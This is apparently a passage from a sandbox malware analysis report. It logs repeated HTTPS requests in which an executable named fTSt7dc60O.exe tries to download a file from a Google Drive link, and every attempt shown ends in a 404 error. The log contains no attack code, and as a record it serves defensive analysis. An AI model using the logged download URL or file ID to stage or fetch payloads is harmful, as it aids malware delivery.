2025-01-10 14:40:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:04 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-pgMwlHZSM7dAzw-vG5rKiw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	52238	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:04 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:05 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQXAhPWR9XxZT7Zf1avqSYLdKrJi9eWhWatEqjOHtg3NYPwz9SiLzN5HZ_Ofitno5DV Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:05 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-KyS7PoPuWwSleTI2YPIWJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:05 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 76 38 71 55 6b 6d 4e 33 36 79 51 61 61 79 6d 5a 58 54 59 4f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7v8qUkmN36yQaaymZXTYOA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	52239	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:06 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:06 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:06 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-1F1ufacRn7FDYNwbl-buEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	52240	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:07 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:07 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRLN2hHNgHadDyjbHkDIejP_rc_PEBZvlpo8Zr1Nrw_4nLmhUHWWUUepfsPn57wBl9Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:07 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-0XQU5w46C9o9sFj8tcf-MA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:07 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 6d 48 75 45 43 67 79 7a 36 33 74 46 53 4b 53 39 48 6f 55 58 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HmHuECgyz63tFSKS9HoUXg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	52241	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:08 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:08 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:08 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-5QIylEcl3opirMTmiobMVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	52242	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:09 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:09 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6YCsH2EuQyep-wImEfpcXIyghGGUnCucgEwKk7kWInKiiyHEFO2m46bAoHZkx6KMyk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:09 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-CYk39Zhs9tEnp8pXEabm4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:09 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 65 6b 52 74 50 75 57 73 62 6f 66 6d 59 72 42 5a 46 33 72 36 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RekRtPuWsbofmYrBZF3r6A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	52243	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:10 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:10 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-92WQZrogbPIsjYWpEXgkiA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	52244	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:11 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:12 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQxFF9m1p7SgXmQmgCIoH_o0QEzvSqXbOgMJ0f3kvD8UXazqjuZwqoIWakRsu0aD0lA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:12 GMT Content-Security-Policy: script-src 'nonce--jXm5Q9HdG232UYPwLzM1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:12 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 70 5a 6b 79 45 67 52 79 72 58 4d 38 42 6c 4f 6e 6f 54 71 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="epZkyEgRyrXM8BlOnoTqmA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	52245	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:12 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
